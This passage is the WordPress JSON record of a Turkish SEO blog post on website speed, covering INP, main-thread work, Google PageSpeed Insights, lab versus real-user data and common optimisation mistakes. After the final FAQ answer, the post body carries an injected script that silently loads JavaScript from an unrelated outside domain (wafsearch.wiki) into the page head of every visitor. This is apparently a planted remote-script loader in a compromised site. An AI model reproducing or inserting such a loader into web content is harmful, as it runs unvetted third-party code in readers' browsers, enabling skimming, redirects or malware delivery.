s\u00fcreleridir.<\/p>\n<p>Kaynak: web.dev<\/p>\n<h2><span class=\"ez-toc-section\" id=\"INP_Ornekleri\"><\/span>INP \u00d6rnekleri<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>INP\u2019nin tan\u0131m\u0131nda kullan\u0131c\u0131ya, t\u0131klama sonucu vaat edilen aksiyonun, h\u0131zl\u0131 bir \u015fekilde ger\u00e7ekle\u015fmesinin \u00f6neminden bahsetmi\u015ftik. Ayn\u0131 \u015fekilde bu aksiyonun i\u015fleme al\u0131nd\u0131\u011f\u0131na dair bir \u201cloading\u201d g\u00f6stergesi de olduk\u00e7a faydal\u0131d\u0131r.<\/p>\n<p><img decoding=\"async\" class=\"alignnone\" src=\"https:\/\/s3.amazonaws.com\/images.seroundtable.com\/googd-poor-responsiveness-1652707271.gif\" alt=\"web vitals inp \u00f6rnekleri\" width=\"640\" height=\"360\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"INP_Optimizasyonu\"><\/span>INP Optimizasyonu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Uzun_Tarayici_Islemlerini_Optimize_Edin\"><\/span>Uzun Taray\u0131c\u0131 \u0130\u015flemlerini Optimize Edin<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Bir web sayfas\u0131 y\u00fcklenmeye ba\u015flad\u0131\u011f\u0131nda render, parsing, javascript dosyalar\u0131n\u0131n par\u00e7alanmas\u0131 gibi bir\u00e7ok arka plan g\u00f6revi y\u00fcr\u00fct\u00fcl\u00fcr. T\u00fcm bu i\u015flemleri arka planda ger\u00e7ekle\u015ftiren taray\u0131c\u0131 mekanizmas\u0131 ise \u201cMain Theread\u201dd\u0131r.<\/p>\n<p>Main Thread t\u00fcm bu i\u015flemleri s\u0131rayla \u00e7\u00f6z\u00fcmler ve sonunda sayfa t\u00fcm elementleriyle kullan\u0131c\u0131ya sunulmak \u00fczere haz\u0131r olur.<\/p>\n<p>Main Theread\u2019\u0131n ayn\u0131 anda sadece bir i\u015flemle me\u015fgul olabilece\u011fi ele ald\u0131\u011f\u0131m\u0131zda sitede ne kadar i\u015flem varsa sayfan\u0131n kullan\u0131c\u0131n\u0131n etkile\u015fime ge\u00e7ebilece\u011fi s\u00fcre, o kadar uzar.<\/p>\n<p>S\u00fcrenin uzamas\u0131 INP skorlar\u0131nda d\u00fc\u015f\u00fc\u015f\u00fc yol a\u00e7an temel durumdur. INP\u2019yi geli\u015ftirmenin en etkili yolu sayfada Main Theread\u2019\u0131n i\u015flemesi gereken durumlar\u0131 minimize etmektir. \u00d6rne\u011fin \u00f6nemli bir k\u0131sm\u0131 kullan\u0131lmayan JS ve CSS dosyalar\u0131n\u0131 k\u0131rpmak, g\u00f6rece daha az \u00f6nemsiz kaynaklar\u0131n y\u00fcklenmesini ertelemek vb. kaynak ve i\u015flem uygulamalar\u0131 etkili y\u00f6ntemlerdir.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Site_Hizini_Olcmek_Icin_Hangi_Web_Siteleri_Kullanilabilir\"><\/span>Site H\u0131z\u0131n\u0131 \u00d6l\u00e7mek \u0130\u00e7in Hangi Web Siteleri Kullan\u0131labilir ?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Web sitenizin h\u0131z\u0131n\u0131 \u00f6l\u00e7mek, daha kapsaml\u0131 a\u00e7\u0131klamak gerekirse hangi metriklerde eksik oldu\u011fu, g\u00f6rsellerin boyutu ideal mi, sayfay\u0131 olu\u015fturma css veya Javascript dosyalar\u0131n\u0131n ekstra y\u00fck yarat\u0131p yaratmad\u0131\u011f\u0131 gibi onlarca durumu anlamak i\u00e7in kullanabilece\u011finiz bir\u00e7ok \u00fccretsiz veya tercihe g\u00f6re \u00fccretli ara\u00e7lar mevcut.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Web_Performansi_Olcumu_Icin_Kullanilabilecek_Platformlar\"><\/span>Web Performans\u0131 \u00d6l\u00e7\u00fcm\u00fc \u0130\u00e7in Kullan\u0131labilecek Platformlar<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Google_Pagespeed_Insights\"><\/span>Google Pagespeed Insights<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Google\u2019\u0131n sundu\u011fu Pagespeed Insights arac\u0131 web sitelerini Core web vitals ve ve Google\u2019\u0131n belirledi\u011fi di\u011fer \u00f6l\u00e7\u00fcm metriklerini kullanarak skorlar. Skor \u00e7izelgesi her metrik i\u00e7in farkl\u0131 de\u011ferlendirilir.<\/p>\n<p><strong>1 \u2013<\/strong>\u00a0Teste sokmak istedi\u011finiz URL\u2019i bu alana girin.<\/p>\n<p>Burada web sitenizin ana domaini (website.com.tr) veya bir sayfas\u0131 (website.com.tr\/sayfa-1) yer alabilir.<\/p>\n<p><strong>2-<\/strong> Google\u2019in developerlar i\u00e7in haz\u0131rlad\u0131\u011f\u0131 sayfalara bu alandan ula\u015fabilirsiniz. Pagespeed arac\u0131 ile ilgili yenilikler ve giri\u015f seviyesinden ileri seviye kadar \u00e7e\u015fitli d\u00f6k\u00fcmanlara yer veriliyor.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Gercek_Kullanici_Verileri_Degerlendirmesi\"><\/span>Ger\u00e7ek Kullan\u0131c\u0131 Verileri De\u011ferlendirmesi<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Ger\u00e7ek kullan\u0131c\u0131lar\u0131n verilerinden, 4.maddede konuyu daha \u00f6nce a\u00e7\u0131klam\u0131\u015ft\u0131k, gelen performans verileri ve bu sonu\u00e7lara g\u00f6re \u00e7\u0131kan detaylar bu alanda g\u00f6sterilir.<\/p>\n<p>URL\u2019inizi girip \u201cAnaliz et\u201d butonuna t\u0131klad\u0131ktan sizi ilk olarak bu ekran kar\u015f\u0131l\u0131yor. Siz bu ekran\u0131 g\u00f6rd\u00fc\u011f\u00fcn\u00fcz s\u0131rada sayfan\u0131n a\u015fa\u011f\u0131s\u0131nda daha detayl\u0131 analizler i\u00e7in tool \u00e7al\u0131\u015fmaya devam ediyor. Akabinde ilk sonu\u00e7lar\u0131 incelemek m\u00fcmk\u00fcn;<\/p>\n<p>1- Test sonucunda ilgili URL mobil ve masa\u00fcst\u00fc olarak iki versiyon yer al\u0131yor. Analizin tamam\u0131n\u0131n se\u00e7ti\u011finiz versiyona g\u00f6re de\u011fi\u015fti\u011fini unutmay\u0131n.<\/p>\n<p><strong>\u00d6nemli:<\/strong>\u00a0Web sitenizin hangi cihaz t\u00fcr\u00fcnde daha fazla trafik ald\u0131\u011f\u0131 gibi verilerin elinizde bulunmas\u0131 bu alan\u0131 daha efektif kullanabilmenize olduk\u00e7a yarar sa\u011flar.<\/p>\n<p>2- URL ve Kaynak k\u0131sm\u0131nda, daha \u00f6nce de\u011findi\u011fimiz \u00fczere ana domain veya sadece girilen URL i\u00e7in analiz g\u00f6r\u00fcnt\u00fclenebilir. \u00d6rnekle a\u00e7\u0131klamak gerekirse;<\/p>\n<p><strong>Bu URL:\u00a0<\/strong>website.com.tr\/sayfa1<\/p>\n<p><strong>Kaynak:\u00a0<\/strong>website.com.tr<\/p>\n<p>3 \u2013 Core web vitals metriklerinde Google\u2019\u0131n belirledi\u011fi e\u015fikleri daha \u00f6nce aktarm\u0131\u015ft\u0131k. Burada yer alan s\u0131n\u0131fland\u0131rmada \u201cBa\u015far\u0131l\u0131\u201d olunmas\u0131 i\u00e7in 3 temel metri\u011finbelirlenen ba\u015far\u0131 de\u011ferlerinin \u00fcst\u00fcnde yer almas\u0131 gerekmektedir. Bir ba\u015fka deyi\u015fle, LCP, FID ve CLS metriklerinde istenen de\u011ferlere ula\u015fmak gerekmektedir.<\/p>\n<p>4- Bu alanda analiz sonucunun hangi ortamlarda ne \u015fekilde topland\u0131\u011f\u0131na dair detaylar verilmektedir.<\/p>\n<p><strong>\u00d6nemli:\u00a0<\/strong>Bu alanda detaylar\u0131 verildi\u011fi \u00fczere \u201cGer\u00e7ek kullan\u0131c\u0131lara ait veriler\u201d CrUX ad\u0131n\u0131 verdi\u011fi ve taray\u0131c\u0131lardaki kullan\u0131c\u0131 verilerini derledi\u011fi bir yap\u0131y\u0131 kullan\u0131r. Bu sebeple yeteri kadar ger\u00e7ek kullan\u0131c\u0131s\u0131 olmayan ve crUX verisi bulundurmayan web sitelerinde inceledi\u011fimiz bu alanlar bulunmayacakt\u0131r.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Lab_Verileri_Degerlendirmesi_Sentetik_Test\"><\/span>Lab Verileri De\u011ferlendirmesi (Sentetik Test)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Yap\u0131lan test herhangi bir ger\u00e7ek kullan\u0131c\u0131 verisi i\u00e7ermez. Belirli bir network ve cihaz em\u00fclasyonunun ortaya \u00e7\u0131kard\u0131\u011f\u0131 sonu\u00e7lard\u0131r.<\/p>\n<p>1- Lab verileri, \u00fc\u00e7 s\u0131n\u0131fland\u0131rma alt\u0131nda yer al\u0131yor;<\/p>\n<p>\u2013\u00a0<strong>Performans\u00a0<\/strong><\/p>\n<p>URL\u2019in h\u0131z ve deneyim performans\u0131na ait de\u011ferlendirmeler, \u00f6neriler ve te\u015fhisler bu alanda yer al\u0131yor.<\/p>\n<p>\u2013\u00a0<strong>Eri\u015filebilirlik<\/strong><\/p>\n<p>Eri\u015filebilirlik denetimleri, ilgili web sitesinin g\u00f6rsel, Motor\/esnek kullan\u0131m\u0131, i\u015fitsel ve bili\u015fsel alanlar\u0131nda hangi d\u00fczeyde kullan\u0131c\u0131lara cevap verebildi\u011fini \u00f6l\u00e7er.<\/p>\n<p>\u2013\u00a0<strong>En \u0130yi Uygulamalar<\/strong><\/p>\n<p>Kodlara yap\u0131lacak olan m\u00fcdahaleler ile iyile\u015ftirilebilecek f\u0131rsatlar bu alanda g\u00f6r\u00fcnt\u00fclenir.<\/p>\n<p>2- Lab verileri, Google\u2019\u0131n a\u00e7\u0131k kaynak arac\u0131 olan Lighthouse \u00fczerinden geliyor. Yukar\u0131da a\u00e7\u0131klad\u0131\u011f\u0131m\u0131z t\u00fcm alanlar Lighthouse\u2019\u0131n s\u0131n\u0131fland\u0131rma ve de\u011ferlendirme kriterlerine g\u00f6re olu\u015fuyor. Ger\u00e7ek kullan\u0131c\u0131lardan sa\u011flanan verilerde oldu\u011fu gibi web vitals ve yard\u0131mc\u0131 performans metriklerinde burada da bir notland\u0131rma e\u015fi\u011fi mevcut.\u00a0<a href=\"https:\/\/googlechrome.github.io\/lighthouse\/scorecalc\/#FCP=2380&amp;SI=6373&amp;FMP=1991&amp;TTI=11596&amp;FCI=6500&amp;LCP=12557&amp;TBT=2252&amp;CLS=0&amp;device=mobile&amp;version=11\" target=\"_blank\" rel=\"nofollow noopener\"><strong>Lighthouse Score Calculator<\/strong><\/a>\u00a0sayfas\u0131nda g\u00f6sterildi\u011fi \u00fczere metriklerin farkl\u0131 i d\u00fczeylerde etkisi mevcut.<\/p>\n<p>3- Sentetik test, ad\u0131ndan da anla\u015f\u0131laca\u011f\u0131 \u00fczere belirli bir test konfig\u00fcrasyonun web sitesini ziyaret ederek elde etti\u011fi sonu\u00e7lar\u0131 i\u00e7eriyor. Bu alanda, network (4g), cihaz (moto g), lighthouse versiyonu (farkl\u0131 s\u00fcr\u00fcmlerde metriklerin skor a\u011f\u0131rl\u0131\u011f\u0131 vb. De\u011fi\u015fimler olabiliyor.), user agent (headless chrome) [aray\u00fcz\u00fc olmayan, otomasyon ama\u00e7l\u0131 taray\u0131c\u0131] ve testin tekrar say\u0131s\u0131 gibi detaylar yer al\u0131yor.<\/p>\n<p><strong>Not<\/strong>: Farkl\u0131 3.parti uygulamalarda yapaca\u011f\u0131n\u0131z\u0131 testlerde bu test kombinasyonlar\u0131n\u0131n ayn\u0131s\u0131 kurgulayarak kar\u015f\u0131la\u015ft\u0131rma yapabilmeniz m\u00fcmk\u00fcn olur.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Firsatlar_ve_Teshisler\"><\/span>F\u0131rsatlar ve Te\u015fhisler<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u0130ki alanda bir\u00e7ok farkl\u0131 sonu\u00e7 ve \u00f6neriyle kar\u015f\u0131la\u015facaks\u0131n\u0131z. Google\u2019\u0131n genel y\u00f6nlendirmesi f\u0131rsatlar\u0131 daha kritik ve h\u0131zl\u0131 etki edebilecek \u015fekilde olurken, te\u015fhisler alan\u0131nda performansa etki edecek irili ufakl\u0131 t\u00fcm etkenleri listelemesidir.<\/p>\n<p>Her iki alanda ne gibi durumlar oldu\u011funu, ortak noktalar\u0131n\u0131 ve hangi metri\u011fi optimize etmenin hangi te\u015fhisleri optimize edebilece\u011fine \u00f6rnek bir test sonucu \u00fczerinde ula\u015fmaya \u00e7al\u0131\u015fal\u0131m.;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Firsatlar\"><\/span>F\u0131rsatlar<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>F\u0131rsat alan\u0131nda genel olarak bir\u00e7ok web sitesinin optimize etmedi\u011fi veya bir ba\u015fka deyi\u015fle dinamik ve bol g\u00f6rsel vb. materyaller i\u00e7eren web sitelerinin ortak sorunlar\u0131 yer al\u0131yor. Bunlar \u00e7o\u011funlukla;<\/p>\n<ul>\n<li>Javascript dosyalar\u0131 (\u00e7ok az\u0131 kullan\u0131lan b\u00fcy\u00fck k\u00fct\u00fcphaneler. \u00d6rn; sadece bir slider i\u00e7in Jquery\u2019nin tamam\u0131n\u0131 kullanmak.)<\/li>\n<li>CSS dosyalar\u0131 (B\u00fct\u00fcn halinde kullan\u0131lan css dosyalar\u0131, y\u00fcklenen sayfada gerekli olmayan css\u2019ler vs.<\/li>\n<li>G\u00f6rseller (Y\u00fcksek boyutlu g\u00f6rseller, aktif alanda olmayan g\u00f6rsellerin e\u015f zamanl\u0131 y\u00fcklenmesi, sayfadada konumland\u0131rma ve boyutland\u0131rma yap\u0131lmamas\u0131 vb.)<\/li>\n<li>Server teknolojileri ve kapasite (D\u00fc\u015f\u00fck server kapasitesi, http1.1 gibi eski ve yetersiz teknolojiler, medya dosyalar\u0131 i\u00e7in cdn veya ayr\u0131 server konumland\u0131rmama vb.)<\/li>\n<\/ul>\n<p>F\u0131rsatlar alan\u0131ndaki sorunlar\u0131n \u00e7\u00f6z\u00fcm\u00fc, genel olarak yukar\u0131daki de\u011fi\u015fkenlerin iyile\u015ftirilmesiyle giderilebilir. Burada\u00a0<a href=\"https:\/\/docs.google.com\/document\/d\/1h5pHS3738-wgPoPUnBviWJ96DP_FL9G7\/edit#heading=h.1t3h5sf\" target=\"_blank\" rel=\"nofollow noopener\">Core Web Vitals Metrikleri<\/a>\u00a0k\u0131sm\u0131nda de\u011findi\u011fimiz \u00f6nerilerin uygulanmas\u0131, buradaki sorunlar\u0131 b\u00fcy\u00fck \u00f6l\u00e7\u00fcde \u00e7\u00f6z\u00fcmlemenize yard\u0131mc\u0131 olacakt\u0131r.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Teshisler\"><\/span>Te\u015fhisler<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Te\u015fhisler alan\u0131nda daha \u00f6nce belirtti\u011fimiz \u00fczere daha genel ve hemen hemen t\u00fcm saptamalara yer verilmi\u015f durumda. \u00d6rnekteki te\u015fhisleri k\u00fc\u00e7\u00fck bir s\u0131n\u0131fland\u0131rmaya soktu\u011fumuzda \u015f\u00f6yle bir tablo ortaya \u00e7\u0131k\u0131yor;<\/p>\n<ul>\n<li>Font optimizasyonu<\/li>\n<li>3.parti javascriptlerin optimizasyonu \/ Genel javascript optimizasyonu<\/li>\n<li>G\u00f6rsel optimizasyonu<\/li>\n<li>Main thread optimizasyonu (ana i\u015f par\u00e7aca\u011f\u0131, y\u00fckleme s\u0131ras\u0131ndaki t\u00fcm i\u015flemlerin optimize edilmesidir.)<\/li>\n<li>DOM boyutunun optimizasyonu (Sayfadaki t\u00fcm \u00f6\u011felerinin nicesel ve niteliksel anlamda g\u00f6zden ge\u00e7irilmesi.)<\/li>\n<li>Cache optimizasyonu<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Hangi_Teshisleri_Onceliklendirmelisiniz\"><\/span>Hangi Te\u015fhisleri \u00d6nceliklendirmelisiniz ?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Buradaki \u00f6nemli k\u0131stas, te\u015fhislerin web sitenizi veya y\u00fcr\u00fctt\u00fc\u011f\u00fcn\u00fcz s\u00fcreci hangi a\u00e7\u0131dan ve ne \u015fekilde etkiledi\u011fi ile do\u011frudan orant\u0131l\u0131.<\/p>\n<p>\u00d6rne\u011fin bir mimarl\u0131k ofisi g\u00f6rsel bir yo\u011fun bir i\u015f yapt\u0131\u011f\u0131 i\u00e7in g\u00f6rsel optimizasyonu onlar i\u00e7in en kritik madde olabilirken, \u00e7ok fazla 3.parti servis kullanan bir web sitesi bu alandaki optimizasyonlara odaklanabilir.<\/p>\n<p><strong>\u00d6nemli:\u00a0<\/strong>Tek bir maddenin t\u00fcm sorunlar\u0131 \u00e7\u00f6zece\u011fi gibi bir yan\u0131lg\u0131ya d\u00fc\u015f\u00fclmemeli, sadece \u00f6ncelikler do\u011fru belirlenmelidir. Bununla beraber dedike server ve http3 gibi en yeni teknolojileri kullanmak t\u00fcm web siteleri i\u00e7in uyguland\u0131\u011f\u0131nda fayda sa\u011flayacak uygulamalard\u0131r.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Hiz_Optimizasyonunda_Sikca_Yapilan_Hatalar\"><\/span>H\u0131z Optimizasyonunda S\u0131k\u00e7a Yap\u0131lan Hatalar<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Belirli_SayfalarinSayfa_Gruplarini_Hizlandirmaya_calismak\"><\/span>Belirli Sayfalar\u0131n\/Sayfa Gruplar\u0131n\u0131 H\u0131zland\u0131rmaya \u00e7al\u0131\u015fmak<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Sadece ana sayfa veya sadece blog gibi ziyaret\u00e7ilerin daha s\u0131k kar\u015f\u0131land\u0131\u011f\u0131 sayfalarda \u00e7al\u0131\u015fmalar yapmak yanl\u0131\u015f bir stratejidir. Google web sitelerini bir b\u00fct\u00fcn olarak de\u011ferlendirir ve site i\u00e7indeki bu tip bir dengesizlik sitenin taranmas\u0131nda da problemlere yol a\u00e7abilir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"_Tek_bir_metrigin_optimize_edilmeye_calisilmasi\"><\/span>\u00a0Tek bir metri\u011fin optimize edilmeye \u00e7al\u0131\u015f\u0131lmas\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u00d6nceliklendirme do\u011fru bir yol olsa da tek bir metri\u011fin t\u00fcm sorunlar\u0131 \u00e7\u00f6zece\u011fi gibi bir yan\u0131lg\u0131ya d\u00fc\u015fmemek gerekir. S\u00fcrecin bir b\u00fct\u00fcn oldu\u011fu unutulmamal\u0131d\u0131r.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Sik_Sorulan_Sorular\"><\/span>S\u0131k Sorulan Sorular<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>Web sitemin h\u0131z optimizasyonuna ihtiyac\u0131 oldu\u011funu nas\u0131l anlar\u0131m ?<\/strong><\/p>\n<p>Pagespeed Insights, crUX raporlar\u0131 veya 3.parti uygulamalarda d\u00fczenli \u015fekilde analiz yapabilir ve ald\u0131\u011f\u0131n\u0131z \u00e7\u0131kt\u0131lara g\u00f6re aksiyon alabilirsiniz. Bununla birlikte Google Search Console arac\u0131 \u00fczerinden de Page Experience\u00a0ve\u00a0Core Web Vitals k\u0131s\u0131mlar\u0131n\u0131 g\u00f6zlemleyerek karar vermek m\u00fcmk\u00fcn.<\/p>\n<p><strong>Web site h\u0131z\u0131n\u0131n arama motorlar\u0131 s\u0131ralamalar\u0131na etkisi var m\u0131 ?<\/strong><\/p>\n<p>Google\u00a0<a href=\"https:\/\/developers.google.com\/search\/blog\/2010\/04\/using-site-speed-in-web-search-ranking\" target=\"_blank\" rel=\"nofollow noopener\">2010\u00a0<\/a>ve\u00a0<a href=\"https:\/\/developers.google.com\/search\/blog\/2018\/01\/using-page-speed-in-mobile-search?hl=tr\" target=\"_blank\" rel=\"nofollow noopener\">2018\u00a0<\/a>y\u0131llar\u0131nda yapt\u0131\u011f\u0131 duyurularla sayfa h\u0131z\u0131n\u0131n bir s\u0131ralama fakt\u00f6r\u00fc olarak kullan\u0131laca\u011f\u0131n\u0131 duyurmu\u015ftur.<\/p>\n<p><strong>Yava\u015f bir web sitesi sadece organik trafi\u011fi mi etkiler ?<\/strong><\/p>\n<p>Hay\u0131r, sadece organik trafi\u011fi olumsuz etkilemez. Aksine, sitenizi ziyaret eden t\u00fcm ziyaret\u00e7iler i\u00e7in olumsuz bir kullan\u0131c\u0131 deneyimi ya\u015fan\u0131r. Google\u2019\u0131n<a title=\"d\u00f6n\u00fc\u015f\u00fcm oran\u0131\" href=\"https:\/\/www.thinkwithgoogle.com\/marketing-strategies\/app-and-mobile\/mobile-page-speed-conversion-data\/\" target=\"_blank\" rel=\"nofollow noopener\">\u00a0Mobile Page Speed and Conversion Rate<\/a>\u00a0sayfas\u0131nda yava\u015f bir web sitesinin d\u00f6n\u00fc\u015f\u00fcmlere olan ciddi etkilerine dair ara\u015ft\u0131rma ve istatistiklere ula\u015fabilirsiniz.<\/p>\n<p><strong>H\u0131z optimizasyonu i\u00e7in kimle \u00e7al\u0131\u015fmam gerekir ?<\/strong><\/p>\n<p>Mutlaka \u00e7al\u0131\u015fma yap\u0131lacak altyap\u0131 hakk\u0131nda tecr\u00fcbeli bir yaz\u0131l\u0131m ekibi ile konu \u00e7\u00f6zmelidir. Ayr\u0131ca gereken tespitlerin yap\u0131labilmesi ve aksiyon haritas\u0131n\u0131n haz\u0131rlanmas\u0131 ROIBLE&#8217;\u0131n hizmetleri aras\u0131nda yer almaktad\u0131r. Dolay\u0131s\u0131yla ROIBLE profesyonel ekibi h\u0131z optimizasyonu s\u00fcrecinde yaz\u0131l\u0131m ekibinizi de sizin yerinize y\u00f6nlendirmektedir.<\/p>\n<p><strong>\u00c7al\u0131\u015fman\u0131n sonu\u00e7lar\u0131n\u0131 ne zaman g\u00f6rebilirim ?<\/strong><\/p>\n<p>\u00c7al\u0131\u015fmalar ilerledik\u00e7e test ara\u00e7lar\u0131nda yer alan sentetik testlerde yap\u0131lan \u00e7al\u0131\u015fmalar\u0131n izleri hemen g\u00f6r\u00fclebilir. Ger\u00e7ek kullan\u0131c\u0131lar nezdinde t\u00fcm s\u00fcre\u00e7 bittikten en az 30 g\u00fcnl\u00fck bir s\u00fcre sonunda bu alandaki veriler g\u00f6r\u00fclebilir. Sayfada ge\u00e7irilen s\u00fcre, d\u00f6n\u00fc\u015f\u00fcmlerdeki de\u011fi\u015fimler gibi kullan\u0131c\u0131 etkile\u015fimi verileri de Google Analytics \u00fczerinden objektif olarak belirlenip izlenebilir.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n   ","protected":false},"excerpt":{"rendered":"<p>Web siteleri, y\u0131llar ge\u00e7tik\u00e7e internetin de do\u011fal geli\u015fimiyle birlikte \u00e7ok daha karma\u015f\u0131k yap\u0131lar haline geldi. Bu geli\u015fim, web \u00fczerinden \u00e7ok daha karma\u015f\u0131k i\u015flemlerin tamamlanabilmesini de m\u00fcmk\u00fcn k\u0131ld\u0131. Y\u00fcksek \u00e7\u00f6z\u00fcn\u00fcrl\u00fckl\u00fc dolay\u0131s\u0131yla b\u00fcy\u00fck boyutlu g\u00f6rseller, videolar veya on binlerce \u00fcr\u00fcn\u00fcn sergilendi\u011fi e-ticaret siteleri, g\u00fcn\u00fcm\u00fcz internet teknolojilerinin kullan\u0131c\u0131lara sundu\u011fu standart hizmetler aras\u0131nda yer ald\u0131. S\u00f6z konusu durum, interaktif [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":28115,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[144],"tags":[],"class_list":["post-28089","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-seo-blog"],"_links":{"self":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts\/28089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/comments?post=28089"}],"version-history":[{"count":1,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts\/28089\/revisions"}],"predecessor-version":[{"id":30466,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/posts\/28089\/revisions\/30466"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/media\/28115"}],"wp:attachment":[{"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/media?parent=28089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/categories?post=28089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/roible.com\/tr\/wp-json\/wp\/v2\/tags?post=28089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}